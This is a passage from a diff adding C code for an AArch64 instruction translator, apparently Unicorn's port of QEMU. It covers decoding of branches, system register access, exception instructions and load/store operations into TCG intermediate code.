s->uc->tcg_ctx; + unsigned int cond; + uint64_t addr; + + if ((insn & (1 << 4)) || (insn & (1 << 24))) { + unallocated_encoding(s); + return; + } + addr = s->pc + sextract32(insn, 5, 19) * 4 - 4; + cond = extract32(insn, 0, 4); + + if (cond < 0x0e) { + /* genuinely conditional branches */ + int label_match = gen_new_label(tcg_ctx); + arm_gen_test_cc(tcg_ctx, cond, label_match); + gen_goto_tb(s, 0, s->pc); + gen_set_label(tcg_ctx, label_match); + gen_goto_tb(s, 1, addr); + } else { + /* 0xe and 0xf are both "always" conditions */ + gen_goto_tb(s, 0, addr); + } +} + +/* C5.6.68 HINT */ +static void handle_hint(DisasContext *s, uint32_t insn, + unsigned int op1, unsigned int op2, unsigned int crm) +{ + unsigned int selector = crm << 3 | op2; + + if (op1 != 3) { + unallocated_encoding(s); + return; + } + + switch (selector) { + case 0: /* NOP */ + return; + case 3: /* WFI */ + s->is_jmp = DISAS_WFI; + return; + case 1: /* YIELD */ + case 2: /* WFE */ + s->is_jmp = DISAS_WFE; + return; + case 4: /* SEV */ + case 5: /* SEVL */ + /* we treat all as NOP at least for now */ + return; + default: + /* default specified as NOP equivalent */ + return; + } +} + +static void gen_clrex(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_movi_i64(tcg_ctx, tcg_ctx->cpu_exclusive_addr, -1); +} + +/* CLREX, DSB, DMB, ISB */ +static void handle_sync(DisasContext *s, uint32_t insn, + unsigned int op1, unsigned int op2, unsigned int crm) +{ + if (op1 != 3) { + unallocated_encoding(s); + return; + } + + switch (op2) { + case 2: /* CLREX */ + gen_clrex(s, insn); + return; + case 4: /* DSB */ + case 5: /* DMB */ + case 6: /* ISB */ + /* We don't emulate caches so barriers are no-ops */ + return; + default: + unallocated_encoding(s); + return; + } +} + +/* C5.6.130 MSR (immediate) - move immediate to processor state field */ +static void handle_msr_i(DisasContext *s, uint32_t insn, + unsigned int op1, unsigned int op2, unsigned int crm) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int op = op1 << 3 | op2; + switch (op) { + case 0x05: /* SPSel */ + if (s->current_el == 0) { + unallocated_encoding(s); + return; + } + /* fall through */ + case 0x1e: /* DAIFSet */ + case 0x1f: /* DAIFClear */ + { + TCGv_i32 tcg_imm = tcg_const_i32(tcg_ctx, crm); + TCGv_i32 tcg_op = tcg_const_i32(tcg_ctx, op); + gen_a64_set_pc_im(s, s->pc - 4); + gen_helper_msr_i_pstate(tcg_ctx, tcg_ctx->cpu_env, tcg_op, tcg_imm); + tcg_temp_free_i32(tcg_ctx, tcg_imm); + tcg_temp_free_i32(tcg_ctx, tcg_op); + s->is_jmp = DISAS_UPDATE; + break; + } + default: + unallocated_encoding(s); + return; + } +} + +static void gen_get_nzcv(TCGContext *tcg_ctx, TCGv_i64 tcg_rt) +{ + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 nzcv = tcg_temp_new_i32(tcg_ctx); + + /* build bit 31, N */ + tcg_gen_andi_i32(tcg_ctx, nzcv, tcg_ctx->cpu_NF, (1U << 31)); + /* build bit 30, Z */ + tcg_gen_setcondi_i32(tcg_ctx, TCG_COND_EQ, tmp, tcg_ctx->cpu_ZF, 0); + tcg_gen_deposit_i32(tcg_ctx, nzcv, nzcv, tmp, 30, 1); + /* build bit 29, C */ + tcg_gen_deposit_i32(tcg_ctx, nzcv, nzcv, tcg_ctx->cpu_CF, 29, 1); + /* build bit 28, V */ + tcg_gen_shri_i32(tcg_ctx, tmp, tcg_ctx->cpu_VF, 31); + tcg_gen_deposit_i32(tcg_ctx, nzcv, nzcv, tmp, 28, 1); + /* generate result */ + tcg_gen_extu_i32_i64(tcg_ctx, tcg_rt, nzcv); + + tcg_temp_free_i32(tcg_ctx, nzcv); + tcg_temp_free_i32(tcg_ctx, tmp); +} + +static void gen_set_nzcv(TCGContext *tcg_ctx, TCGv_i64 tcg_rt) + +{ + TCGv_i32 nzcv = tcg_temp_new_i32(tcg_ctx); + + /* take NZCV from R[t] */ + tcg_gen_trunc_i64_i32(tcg_ctx, nzcv, tcg_rt); + + /* bit 31, N */ + tcg_gen_andi_i32(tcg_ctx, tcg_ctx->cpu_NF, nzcv, (1U << 31)); + /* bit 30, Z */ + tcg_gen_andi_i32(tcg_ctx, tcg_ctx->cpu_ZF, nzcv, (1 << 30)); + tcg_gen_setcondi_i32(tcg_ctx, TCG_COND_EQ, tcg_ctx->cpu_ZF, tcg_ctx->cpu_ZF, 0); + /* bit 29, C */ + tcg_gen_andi_i32(tcg_ctx, tcg_ctx->cpu_CF, nzcv, (1 << 29)); + tcg_gen_shri_i32(tcg_ctx, tcg_ctx->cpu_CF, tcg_ctx->cpu_CF, 29); + /* bit 28, V */ + tcg_gen_andi_i32(tcg_ctx, tcg_ctx->cpu_VF, nzcv, (1 << 28)); + tcg_gen_shli_i32(tcg_ctx, tcg_ctx->cpu_VF, tcg_ctx->cpu_VF, 3); + tcg_temp_free_i32(tcg_ctx, nzcv); +} + +/* C5.6.129 MRS - move from system register + * C5.6.131 MSR (register) - move to system register + * C5.6.204 SYS + * C5.6.205 SYSL + * These are all essentially the same insn in 'read' and 'write' + * versions, with varying op0 fields. + */ +static void handle_sys(DisasContext *s, uint32_t insn, bool isread, + unsigned int op0, unsigned int op1, unsigned int op2, + unsigned int crn, unsigned int crm, unsigned int rt) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + const ARMCPRegInfo *ri; + TCGv_i64 tcg_rt; + + ri = get_arm_cp_reginfo(s->cp_regs, + ENCODE_AA64_CP_REG(CP_REG_ARM64_SYSREG_CP, + crn, crm, op0, op1, op2)); + + if (!ri) { + /* Unknown register; this might be a guest error or a QEMU + * unimplemented feature. + */ + qemu_log_mask(LOG_UNIMP, "%s access to unsupported AArch64 " + "system register op0:%d op1:%d crn:%d crm:%d op2:%d\n", + isread ? "read" : "write", op0, op1, crn, crm, op2); + unallocated_encoding(s); + return; + } + + /* Check access permissions */ + if (!cp_access_ok(s->current_el, ri, isread)) { + unallocated_encoding(s); + return; + } + + if (ri->accessfn) { + /* Emit code to perform further access permissions checks at + * runtime; this may result in an exception. + */ + TCGv_ptr tmpptr; + TCGv_i32 tcg_syn; + uint32_t syndrome; + + gen_a64_set_pc_im(s, s->pc - 4); + tmpptr = tcg_const_ptr(tcg_ctx, ri); + syndrome = syn_aa64_sysregtrap(op0, op1, op2, crn, crm, rt, isread); + tcg_syn = tcg_const_i32(tcg_ctx, syndrome); + gen_helper_access_check_cp_reg(tcg_ctx, tcg_ctx->cpu_env, tmpptr, tcg_syn); + tcg_temp_free_ptr(tcg_ctx, tmpptr); + tcg_temp_free_i32(tcg_ctx, tcg_syn); + } + + /* Handle special cases first */ + switch (ri->type & ~(ARM_CP_FLAG_MASK & ~ARM_CP_SPECIAL)) { + case ARM_CP_NOP: + return; + case ARM_CP_NZCV: + tcg_rt = cpu_reg(s, rt); + if (isread) { + gen_get_nzcv(tcg_ctx, tcg_rt); + } else { + gen_set_nzcv(tcg_ctx, tcg_rt); + } + return; + case ARM_CP_CURRENTEL: + /* Reads as current EL value from pstate, which is + * guaranteed to be constant by the tb flags. + */ + tcg_rt = cpu_reg(s, rt); + tcg_gen_movi_i64(tcg_ctx, tcg_rt, s->current_el << 2); + return; + case ARM_CP_DC_ZVA: + /* Writes clear the aligned block of memory which rt points into. */ + tcg_rt = cpu_reg(s, rt); + gen_helper_dc_zva(tcg_ctx, tcg_ctx->cpu_env, tcg_rt); + return; + default: + break; + } + + tcg_rt = cpu_reg(s, rt); + + if (isread) { + if (ri->type & ARM_CP_CONST) { + tcg_gen_movi_i64(tcg_ctx, tcg_rt, ri->resetvalue); + } else if (ri->readfn) { + TCGv_ptr tmpptr; + tmpptr = tcg_const_ptr(tcg_ctx, ri); + gen_helper_get_cp_reg64(tcg_ctx, tcg_rt, tcg_ctx->cpu_env, tmpptr); + tcg_temp_free_ptr(tcg_ctx, tmpptr); + } else { + tcg_gen_ld_i64(tcg_ctx, tcg_rt, tcg_ctx->cpu_env, ri->fieldoffset); + } + } else { + if (ri->type & ARM_CP_CONST) { + /* If not forbidden by access permissions, treat as WI */ + return; + } else if (ri->writefn) { + TCGv_ptr tmpptr; + tmpptr = tcg_const_ptr(tcg_ctx, ri); + gen_helper_set_cp_reg64(tcg_ctx, tcg_ctx->cpu_env, tmpptr, tcg_rt); + tcg_temp_free_ptr(tcg_ctx, tmpptr); + } else { + tcg_gen_st_i64(tcg_ctx, tcg_rt, tcg_ctx->cpu_env, ri->fieldoffset); + } + } + + if (!isread && !(ri->type & ARM_CP_SUPPRESS_TB_END)) { + /* We default to ending the TB on a coprocessor register write, + * but allow this to be suppressed by the register definition + * (usually only necessary to work around guest bugs). + */ + s->is_jmp = DISAS_UPDATE; + } +} + +/* C3.2.4 System + * 31 22 21 20 19 18 16 15 12 11 8 7 5 4 0 + * +---------------------+---+-----+-----+-------+-------+-----+------+ + * | 1 1 0 1 0 1 0 1 0 0 | L | op0 | op1 | CRn | CRm | op2 | Rt | + * +---------------------+---+-----+-----+-------+-------+-----+------+ + */ +static void disas_system(DisasContext *s, uint32_t insn) +{ + unsigned int l, op0, op1, crn, crm, op2, rt; + l = extract32(insn, 21, 1); + op0 = extract32(insn, 19, 2); + op1 = extract32(insn, 16, 3); + crn = extract32(insn, 12, 4); + crm = extract32(insn, 8, 4); + op2 = extract32(insn, 5, 3); + rt = extract32(insn, 0, 5); + + if (op0 == 0) { + if (l || rt != 31) { + unallocated_encoding(s); + return; + } + switch (crn) { + case 2: /* C5.6.68 HINT */ + handle_hint(s, insn, op1, op2, crm); + break; + case 3: /* CLREX, DSB, DMB, ISB */ + handle_sync(s, insn, op1, op2, crm); + break; + case 4: /* C5.6.130 MSR (immediate) */ + handle_msr_i(s, insn, op1, op2, crm); + break; + default: + unallocated_encoding(s); + break; + } + return; + } + handle_sys(s, insn, l, op0, op1, op2, crn, crm, rt); +} + +/* C3.2.3 Exception generation + * + * 31 24 23 21 20 5 4 2 1 0 + * +-----------------+-----+------------------------+-----+----+ + * | 1 1 0 1 0 1 0 0 | opc | imm16 | op2 | LL | + * +-----------------------+------------------------+----------+ + */ +static void disas_exc(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int opc = extract32(insn, 21, 3); + int op2_ll = extract32(insn, 0, 5); + int imm16 = extract32(insn, 5, 16); + TCGv_i32 tmp; + + switch (opc) { + case 0: + /* For SVC, HVC and SMC we advance the single-step state + * machine before taking the exception. This is architecturally + * mandated, to ensure that single-stepping a system call + * instruction works properly. + */ + switch (op2_ll) { + case 1: + gen_ss_advance(s); + gen_exception_insn(s, 0, EXCP_SWI, syn_aa64_svc(imm16)); + break; + case 2: + if (s->current_el == 0) { + unallocated_encoding(s); + break; + } + /* The pre HVC helper handles cases when HVC gets trapped + * as an undefined insn by runtime configuration. + */ + gen_a64_set_pc_im(s, s->pc - 4); + gen_helper_pre_hvc(tcg_ctx, tcg_ctx->cpu_env); + gen_ss_advance(s); + gen_exception_insn(s, 0, EXCP_HVC, syn_aa64_hvc(imm16)); + break; + case 3: + if (s->current_el == 0) { + unallocated_encoding(s); + break; + } + gen_a64_set_pc_im(s, s->pc - 4); + tmp = tcg_const_i32(tcg_ctx, syn_aa64_smc(imm16)); + gen_helper_pre_smc(tcg_ctx, tcg_ctx->cpu_env, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + gen_ss_advance(s); + gen_exception_insn(s, 0, EXCP_SMC, syn_aa64_smc(imm16)); + break; + default: + unallocated_encoding(s); + break; + } + break; + case 1: + if (op2_ll != 0) { + unallocated_encoding(s); + break; + } + /* BRK */ + gen_exception_insn(s, 4, EXCP_BKPT, syn_aa64_bkpt(imm16)); + break; + case 2: + if (op2_ll != 0) { + unallocated_encoding(s); + break; + } + /* HLT */ + unsupported_encoding(s, insn); + break; + case 5: + if (op2_ll < 1 || op2_ll > 3) { + unallocated_encoding(s); + break; + } + /* DCPS1, DCPS2, DCPS3 */ + unsupported_encoding(s, insn); + break; + default: + unallocated_encoding(s); + break; + } +} + +/* C3.2.7 Unconditional branch (register) + * 31 25 24 21 20 16 15 10 9 5 4 0 + * +---------------+-------+-------+-------+------+-------+ + * | 1 1 0 1 0 1 1 | opc | op2 | op3 | Rn | op4 | + * +---------------+-------+-------+-------+------+-------+ + */ +static void disas_uncond_b_reg(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + unsigned int opc, op2, op3, rn, op4; + + opc = extract32(insn, 21, 4); + op2 = extract32(insn, 16, 5); + op3 = extract32(insn, 10, 6); + rn = extract32(insn, 5, 5); + op4 = extract32(insn, 0, 5); + + if (op4 != 0x0 || op3 != 0x0 || op2 != 0x1f) { + unallocated_encoding(s); + return; + } + + switch (opc) { + case 0: /* BR */ + case 2: /* RET */ + tcg_gen_mov_i64(tcg_ctx, tcg_ctx->cpu_pc, cpu_reg(s, rn)); + break; + case 1: /* BLR */ + tcg_gen_mov_i64(tcg_ctx, tcg_ctx->cpu_pc, cpu_reg(s, rn)); + tcg_gen_movi_i64(tcg_ctx, cpu_reg(s, 30), s->pc); + break; + case 4: /* ERET */ + if (s->current_el == 0) { + unallocated_encoding(s); + return; + } + gen_helper_exception_return(tcg_ctx, tcg_ctx->cpu_env); + s->is_jmp = DISAS_JUMP; + return; + case 5: /* DRPS */ + if (rn != 0x1f) { + unallocated_encoding(s); + } else { + unsupported_encoding(s, insn); + } + return; + default: + unallocated_encoding(s); + return; + } + + s->is_jmp = DISAS_JUMP; +} + +/* C3.2 Branches, exception generating and system instructions */ +static void disas_b_exc_sys(DisasContext *s, uint32_t insn) +{ + switch (extract32(insn, 25, 7)) { + case 0x0a: case 0x0b: + case 0x4a: case 0x4b: /* Unconditional branch (immediate) */ + disas_uncond_b_imm(s, insn); + break; + case 0x1a: case 0x5a: /* Compare & branch (immediate) */ + disas_comp_b_imm(s, insn); + break; + case 0x1b: case 0x5b: /* Test & branch (immediate) */ + disas_test_b_imm(s, insn); + break; + case 0x2a: /* Conditional branch (immediate) */ + disas_cond_b_imm(s, insn); + break; + case 0x6a: /* Exception generation / System */ + if (insn & (1 << 24)) { + disas_system(s, insn); + } else { + disas_exc(s, insn); + } + break; + case 0x6b: /* Unconditional branch (register) */ + disas_uncond_b_reg(s, insn); + break; + default: + unallocated_encoding(s); + break; + } +} + +/* + * Load/Store exclusive instructions are implemented by remembering + * the value/address loaded, and seeing if these are the same + * when the store is performed. This is not actually the architecturally + * mandated semantics, but it works for typical guest code sequences + * and avoids having to monitor regular stores. + * + * In system emulation mode only one CPU will be running at once, so + * this sequence is effectively atomic. In user emulation mode we + * throw an exception and handle the atomic operation elsewhere. + */ +static void gen_load_exclusive(DisasContext *s, int rt, int rt2, + TCGv_i64 addr, int size, bool is_pair) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tmp = tcg_temp_new_i64(tcg_ctx); + TCGMemOp memop = MO_TE + size; + + g_assert(size <= 3); + tcg_gen_qemu_ld_i64(s->uc, tmp, addr, get_mem_index(s), memop); + + if (is_pair) { + TCGv_i64 addr2 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 hitmp = tcg_temp_new_i64(tcg_ctx); + + g_assert(size >= 2); + tcg_gen_addi_i64(tcg_ctx, addr2, addr, 1ULL << size); + tcg_gen_qemu_ld_i64(s->uc, hitmp, addr2, get_mem_index(s), memop); + tcg_temp_free_i64(tcg_ctx, addr2); + tcg_gen_mov_i64(tcg_ctx, tcg_ctx->cpu_exclusive_high, hitmp); + tcg_gen_mov_i64(tcg_ctx, cpu_reg(s, rt2), hitmp); + tcg_temp_free_i64(tcg_ctx, hitmp); + } + + tcg_gen_mov_i64(tcg_ctx, tcg_ctx->cpu_exclusive_val, tmp); + tcg_gen_mov_i64(tcg_ctx, cpu_reg(s, rt), tmp); + + tcg_temp_free_i64(tcg_ctx, tmp); + tcg_gen_mov_i64(tcg_ctx, tcg_ctx->cpu_exclusive_addr, addr); +} + +#ifdef CONFIG_USER_ONLY +static void gen_store_exclusive(DisasContext *s, int rd, int rt, int rt2, + TCGv_i64 addr, int size, int is_pair) +{ + tcg_gen_mov_i64(tcg_ctx, cpu_exclusive_test, addr); + tcg_gen_movi_i32(tcg_ctx, cpu_exclusive_info, + size | is_pair << 2 | (rd << 4) | (rt << 9) | (rt2 << 14)); + gen_exception_internal_insn(s, 4, EXCP_STREX); +} +#else +static void gen_store_exclusive(DisasContext *s, int rd, int rt, int rt2, + TCGv_i64 inaddr, int size, int is_pair) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* if (env->exclusive_addr == addr && env->exclusive_val == [addr] + * && (!is_pair || env->exclusive_high == [addr + datasize])) { + * [addr] = {Rt}; + * if (is_pair) { + * [addr + datasize] = {Rt2}; + * } + * {Rd} = 0; + * } else { + * {Rd} = 1; + * } + * env->exclusive_addr = -1; + */ + int fail_label = gen_new_label(tcg_ctx); + int done_label = gen_new_label(tcg_ctx); + TCGv_i64 addr = tcg_temp_local_new_i64(tcg_ctx); + TCGv_i64 tmp; + + /* Copy input into a local temp so it is not trashed when the + * basic block ends at the branch insn. + */ + tcg_gen_mov_i64(tcg_ctx, addr, inaddr); + tcg_gen_brcond_i64(tcg_ctx, TCG_COND_NE, addr, tcg_ctx->cpu_exclusive_addr, fail_label); + + tmp = tcg_temp_new_i64(tcg_ctx); + tcg_gen_qemu_ld_i64(s->uc, tmp, addr, get_mem_index(s), MO_TE + size); + tcg_gen_brcond_i64(tcg_ctx, TCG_COND_NE, tmp, tcg_ctx->cpu_exclusive_val, fail_label); + tcg_temp_free_i64(tcg_ctx, tmp); + + if (is_pair) { + TCGv_i64 addrhi = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tmphi = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_addi_i64(tcg_ctx, addrhi, addr, 1ULL << size); + tcg_gen_qemu_ld_i64(s->uc, tmphi, addrhi, get_mem_index(s), MO_TE + size); + tcg_gen_brcond_i64(tcg_ctx, TCG_COND_NE, tmphi, tcg_ctx->cpu_exclusive_high, fail_label); + + tcg_temp_free_i64(tcg_ctx, tmphi); + tcg_temp_free_i64(tcg_ctx, addrhi); + } + + /* We seem to still have the exclusive monitor, so do the store */ + tcg_gen_qemu_st_i64(s->uc, cpu_reg(s, rt), addr, get_mem_index(s), MO_TE + size); + if (is_pair) { + TCGv_i64 addrhi = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_addi_i64(tcg_ctx, addrhi, addr, 1ULL << size); + tcg_gen_qemu_st_i64(s->uc, cpu_reg(s, rt2), addrhi, + get_mem_index(s), MO_TE + size); + tcg_temp_free_i64(tcg_ctx, addrhi); + } + + tcg_temp_free_i64(tcg_ctx, addr); + + tcg_gen_movi_i64(tcg_ctx, cpu_reg(s, rd), 0); + tcg_gen_br(tcg_ctx, done_label); + gen_set_label(tcg_ctx, fail_label); + tcg_gen_movi_i64(tcg_ctx, cpu_reg(s, rd), 1); + gen_set_label(tcg_ctx, done_label); + tcg_gen_movi_i64(tcg_ctx, tcg_ctx->cpu_exclusive_addr, -1); + +} +#endif + +/* C3.3.6 Load/store exclusive + * + * 31 30 29 24 23 22 21 20 16 15 14 10 9 5 4 0 + * +-----+-------------+----+---+----+------+----+-------+------+------+ + * | sz | 0 0 1 0 0 0 | o2 | L | o1 | Rs | o0 | Rt2 | Rn | Rt | + * +-----+-------------+----+---+----+------+----+-------+------+------+ + * + * sz: 00 -> 8 bit, 01 -> 16 bit, 10 -> 32 bit, 11 -> 64 bit + * L: 0 -> store, 1 -> load + * o2: 0 -> exclusive, 1 -> not + * o1: 0 -> single register, 1 -> register pair + * o0: 1 -> load-acquire/store-release, 0 -> not + * + * o0 == 0 AND o2 == 1 is un-allocated + * o1 == 1 is un-allocated except for 32 and 64 bit sizes + */ +static void disas_ldst_excl(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rt = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int rt2 = extract32(insn, 10, 5); + int is_lasr = extract32(insn, 15, 1); + int rs = extract32(insn, 16, 5); + int is_pair = extract32(insn, 21, 1); + int is_store = !extract32(insn, 22, 1); + int is_excl = !extract32(insn, 23, 1); + int size = extract32(insn, 30, 2); + TCGv_i64 tcg_addr; + + if ((!is_excl && !is_lasr) || + (is_pair && size < 2)) { + unallocated_encoding(s); + return; + } + + if (rn == 31) { + gen_check_sp_alignment(s); + } + tcg_addr = read_cpu_reg_sp(s, rn, 1); + + /* Note that since TCG is single threaded load-acquire/store-release + * semantics require no extra if (is_lasr) { ... } handling. + */ + + if (is_excl) { + if (!is_store) { + s->is_ldex = true; + gen_load_exclusive(s, rt, rt2, tcg_addr, size, is_pair); + } else { + gen_store_exclusive(s, rs, rt, rt2, tcg_addr, size, is_pair); + } + } else { + TCGv_i64 tcg_rt = cpu_reg(s, rt); + if (is_store) { + do_gpr_st(s, tcg_rt, tcg_addr, size); + } else { + do_gpr_ld(s, tcg_rt, tcg_addr, size, false, false); + } + if (is_pair) { + TCGv_i64 tcg_rt2 = cpu_reg(s, rt); + tcg_gen_addi_i64(tcg_ctx, tcg_addr, tcg_addr, 1ULL << size); + if (is_store) { + do_gpr_st(s, tcg_rt2, tcg_addr, size); + } else { + do_gpr_ld(s, tcg_rt2, tcg_addr, size, false, false); + } + } + } +} + +/* + * C3.3.5 Load register (literal) + * + * 31 30 29 27 26 25 24 23 5 4 0 + * +-----+-------+---+-----+-------------------+-------+ + * | opc | 0 1 1 | V | 0 0 | imm19 | Rt | + * +-----+-------+---+-----+-------------------+-------+ + * + * V: 1 -> vector (simd/fp) + * opc (non-vector): 00 -> 32 bit, 01 -> 64 bit, + * 10-> 32 bit signed, 11 -> prefetch + * opc (vector): 00 -> 32 bit, 01 -> 64 bit, 10 -> 128 bit (11 unallocated) + */ +static void disas_ld_lit(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rt = extract32(insn, 0, 5); + int64_t imm = (int32_t)(((uint32_t)sextract32(insn, 5, 19)) << 2); + bool is_vector = extract32(insn, 26, 1); + int opc = extract32(insn, 30, 2); + bool is_signed = false; + int size = 2; + TCGv_i64 tcg_rt, tcg_addr; + + if (is_vector) { + if (opc == 3) { + unallocated_encoding(s); + return; + } + size = 2 + opc; + if (!fp_access_check(s)) { + return; + } + } else { + if (opc == 3) { + /* PRFM (literal) : prefetch */ + return; + } + size = 2 + extract32(opc, 0, 1); + is_signed = extract32(opc, 1, 1); + } + + tcg_rt = cpu_reg(s, rt); + + tcg_addr = tcg_const_i64(tcg_ctx, (s->pc - 4) + imm); + if (is_vector) { + do_fp_ld(s, rt, tcg_addr, size); + } else { + do_gpr_ld(s, tcg_rt, tcg_addr, size, is_signed, false); + } + tcg_temp_free_i64(tcg_ctx, tcg_addr); +} + +/* + * C5.6.80 LDNP (Load Pair - non-temporal hint) + * C5.6.81 LDP (Load Pair - non vector) + * C5.6.82 LDPSW (Load Pair Signed Word - non vector) + * C5.6.176 STNP (Store Pair - non-temporal hint) + * C5.6.177 STP (Store Pair - non vector) + * C6.3.165 LDNP (Load Pair of SIMD&FP - non-temporal hint) + * C6.3.165 LDP (Load Pair of SIMD&FP) + * C6.3.284 STNP (Store Pair of SIMD&FP - non-temporal hint) + * C6.3.284 STP (Store Pair of SIMD&FP) + * + * 31 30 29 27 26 25 24 23 22 21 15 14 10 9 5 4 0 + * +-----+-------+---+---+-------+---+-----------------------------+ + * | opc | 1 0 1 | V | 0 | index | L | imm7 | Rt2 | Rn | Rt | + * +-----+-------+---+---+-------+---+-------+-------+------+------+ + * + * opc: LDP/STP/LDNP/STNP 00 -> 32 bit, 10 -> 64 bit + * LDPSW 01 + * LDP/STP/LDNP/STNP (SIMD) 00 -> 32 bit, 01 -> 64 bit, 10 -> 128 bit + * V: 0 -> GPR, 1 -> Vector + * idx: 00 -> signed offset with non-temporal hint, 01 -> post-index, + * 10 -> signed offset, 11 -> pre-index + * L: 0 -> Store 1 -> Load + * + * Rt, Rt2 = GPR or SIMD registers to be stored + * Rn = general purpose register containing address + * imm7 = signed offset (multiple of 4 or 8 depending on size) + */ +static void disas_ldst_pair(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rt = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int rt2 = extract32(insn, 10, 5); + uint64_t offset = sextract64(insn, 15, 7); + int index = extract32(insn, 23, 2); + bool is_vector = extract32(insn, 26, 1); + bool is_load = extract32(insn, 22, 1); + int opc = extract32(insn, 30, 2); + + bool is_signed = false; + bool postindex = false; + bool wback = false; + + TCGv_i64 tcg_addr; /* calculated address */ + int size; + + if (opc == 3) { + unallocated_encoding(s); + return; + } + + if (is_vector) { + size = 2 + opc; + } else { + size = 2 + extract32(opc, 1, 1); + is_signed = extract32(opc, 0, 1); + if (!is_load && is_signed) { + unallocated_encoding(s); + return; + } + } + + switch (index) { + case 1: /* post-index */ + postindex = true; + wback = true; + break; + case 0: + /* signed offset with "non-temporal" hint. Since we don't emulate + * caches we don't care about hints to the cache system about + * data access patterns, and handle this identically to plain + * signed offset. + */ + if (is_signed) { + /* There is no non-temporal-hint version of LDPSW */ + unallocated_encoding(s); + return; + } + postindex = false; + break; + case 2: /* signed offset, rn not updated */ + postindex = false; + break; + case 3: /* pre-index */ + postindex = false; + wback = true; + break; + } + + if (is_vector && !fp_access_check(s)) { + return; + } + + offset <<= size; + + if (rn == 31) { + gen_check_sp_alignment(s); + } + + tcg_addr = read_cpu_reg_sp(s, rn, 1); + + if (!postindex) { + tcg_gen_addi_i64(tcg_ctx, tcg_addr, tcg_addr, offset); + } + + if (is_vector) { + if (is_load) { + do_fp_ld(s, rt, tcg_addr, size); + } else { + do_fp_st(s, rt, tcg_addr, size); + } + } else { + TCGv_i64 tcg_rt = cpu_reg(s, rt); + if (is_load) { + do_gpr_ld(s, tcg_rt, tcg_addr, size, is_signed, false); + } else { + do_gpr_st(s, tcg_rt, tcg_addr, size); + } + } + tcg_gen_addi_i64(tcg_ctx, tcg_addr, tcg_addr, 1ULL << size); + if (is_vector) { + if (is_load) { + do_fp_ld(s, rt2, tcg_addr, size); + } else { + do_fp_st(s, rt2, tcg_addr, size); + } + } else { + TCGv_i64 tcg_rt2 = cpu_reg(s, rt2); + if (is_load) { + do_gpr_ld(s, tcg_rt2, tcg_addr, size, is_signed, false); + } else { + do_gpr_st(s, tcg_rt2, tcg_addr, size); + } + } + + if (wback) { + if (postindex) { + tcg_gen_addi_i64(tcg_ctx, tcg_addr, tcg_addr, offset - (1ULL << size)); + } else { + tcg_gen_subi_i64(tcg_ctx, tcg_addr, tcg_addr, 1ULL << size); + } + tcg_gen_mov_i64(tcg_ctx, cpu_reg_sp(s, rn), tcg_addr); + } +} + +/* + * C3.3.8 Load/store (immediate post-indexed) + * C3.3.9 Load/store (immediate pre-indexed) + * C3.3.12 Load/store (unscaled immediate) + * + * 31 30 29 27 26 25 24 23 22 21 20 12 11 10 9 5 4 0 + * +----+-------+---+-----+-----+---+--------+-----+------+------+ + * |size| 1 1 1 | V | 0 0 | opc | 0 | imm9 | idx | Rn | Rt | + * +----+-------+---+-----+-----+---+--------+-----+------+------+ + * + * idx = 01 -> post-indexed, 11 pre-indexed, 00 unscaled imm. (no writeback) + 10 -> unprivileged + * V = 0 -> non-vector + * size: 00 -> 8 bit, 01 -> 16 bit, 10 -> 32 bit, 11 -> 64bit + * opc: 00 -> store, 01 -> loadu, 10 -> loads 64, 11 -> loads 32 + */ +static void disas_ldst_reg_imm9(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rt = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int imm9 = sextract32(insn, 12, 9); + int opc = extract32(insn, 22, 2); + int size = extract32(insn, 30, 2); + int idx = extract32(insn, 10, 2); + bool is_signed = false; + bool is_store = false; + bool is_extended = false; + bool is_unpriv = (idx == 2); + bool is_vector = extract32(insn, 26, 1); + bool post_index; + bool writeback; + + TCGv_i64 tcg_addr; + + if (is_vector) { + size |= (opc & 2) << 1; + if (size > 4 || is_unpriv) { + unallocated_encoding(s); + return; + } + is_store = ((opc & 1) == 0); + if (!fp_access_check(s)) { + return; + } + } else { + if (size == 3 && opc == 2) { + /* PRFM - prefetch */ + if (is_unpriv) { + unallocated_encoding(s); + return; + } + return; + } + if (opc == 3 && size > 1) { + unallocated_encoding(s); + return; + } + is_store = (opc == 0); + is_signed = opc & (1<<1); + is_extended = (size < 3) && (opc & 1); + } + + switch (idx) { + case 0: + case 2: + post_index = false; + writeback = false; + break; + case 1: + post_index = true; + writeback = true; + break; + case 3: + post_index = false; + writeback = true; + break; + } + + if (rn == 31) { + gen_check_sp_alignment(s); + } + tcg_addr = read_cpu_reg_sp(s, rn, 1); + + if (!post_index) { + tcg_gen_addi_i64(tcg_ctx, tcg_addr, tcg_addr, imm9); + } + + if (is_vector) { + if (is_store) { + do_fp_st(s, rt, tcg_addr, size); + } else { + do_fp_ld(s, rt, tcg_addr, size); + } + } else { + TCGv_i64 tcg_rt = cpu_reg(s, rt); + int memidx = is_unpriv ? MMU_USER_IDX : get_mem_index(s); + + if (is_store) { + do_gpr_st_memidx(s, tcg_rt, tcg_addr, size, memidx); + } else { + do_gpr_ld_memidx(s, tcg_rt, tcg_addr, size, + is_signed, is_extended, memidx); + } + } + + if (writeback) { + TCGv_i64 tcg_rn = cpu_reg_sp(s, rn); + if (post_index) { + tcg_gen_addi_i64(tcg_ctx, tcg_addr, 